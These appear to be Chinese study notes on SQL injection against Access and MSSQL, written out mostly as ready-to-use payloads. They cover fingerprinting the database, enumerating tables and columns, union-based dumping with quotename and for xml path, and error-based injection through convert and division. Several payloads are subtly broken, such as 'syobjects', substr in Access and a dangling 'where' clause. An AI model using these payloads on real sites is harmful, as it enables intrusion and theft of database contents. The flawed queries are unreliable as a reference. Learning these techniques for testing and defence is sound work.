一、Access注入
1、asp网站常用数据库:access,mssql
2、access数据库
(1)没有库,没有端口
(2)结构:表--》字段--》数据
3、注入流程:
- 判断类型
- 判断表名:遍历、爆破
- 判断列名
- 判断列名下的数据长度
- 查出数据
4、判断是什么数据库
and exists (select * from msysobjects)>0 access
and exists (select * from sysobjects)>0 mssql
5、破解
(1)判断类型:确定是字符型还是数字型
(2)获取表名:and+exists+(select+*+from+表名)
(3)获取列名:and+exists+(select+列名+from+表名)
(4)获取数据长度:and+(select+top+1+len(列名)+from+表名)>5
(5)获取数据:and+(select+top+1+asc(substr(列名,1,2))+from+表名)>110
6、联合注入:需要知道具体表名
参考资料:https://www.cnblogs.com/drkang/p/8627794.html
二、mssql注入
注:严格区分数字型和字符型
1、特殊数据库:master
2、表:
- sysdatabases:master库中,保存所有库名
- syobjects:每个数据库都有,保存数据库中的所有表
- syscolumns:每个数据库都有,保存所有表的字段名
3、思路
- 判断类型
- 获取数据库
- 获取表
- 获取字段数
- 获取数据
4、常用(与MySQL不同)
- db_name():获取当前数据库名
- host_name():获取计算机名
- user:获取用户名
- current_user:获取当前数据库的用户名
- substring:字符串截取函数
- @@version:查看数据库版本
- char:ASCII转字符函数
5、联合查询注入
(1)获取数据库:-1' union select '1','2',db_name()--+
(2)获取表名:-1' union select '1','2',(select quotename(name) from test.dbo.sysobjects where xtype='u' for xml path(''))--+
- quotename():与MySQL中的group_concat类似,分隔符不同,quotename()使用中括号
- test:数据库,dbo:用户
- xtype:指定用户类型
(3)获取字段数:-1' union select '1','2',(select quotename(name) from test.dbo.syscolumns where id=(select quotename(name) from test.dbo.sysobjects where name='表名') for xml path(''))--+
(4)获取数据:-1' union select '1','2',(select top 1 quotename(name) from test.dbo.表名 where for xml path(''))--+
6、报错注入
(1)convert函数(强制类型转换):' and convert(int,db_name())=1--+
(2)四则运算报错:' and 1/db_name()=1--+
7、盲注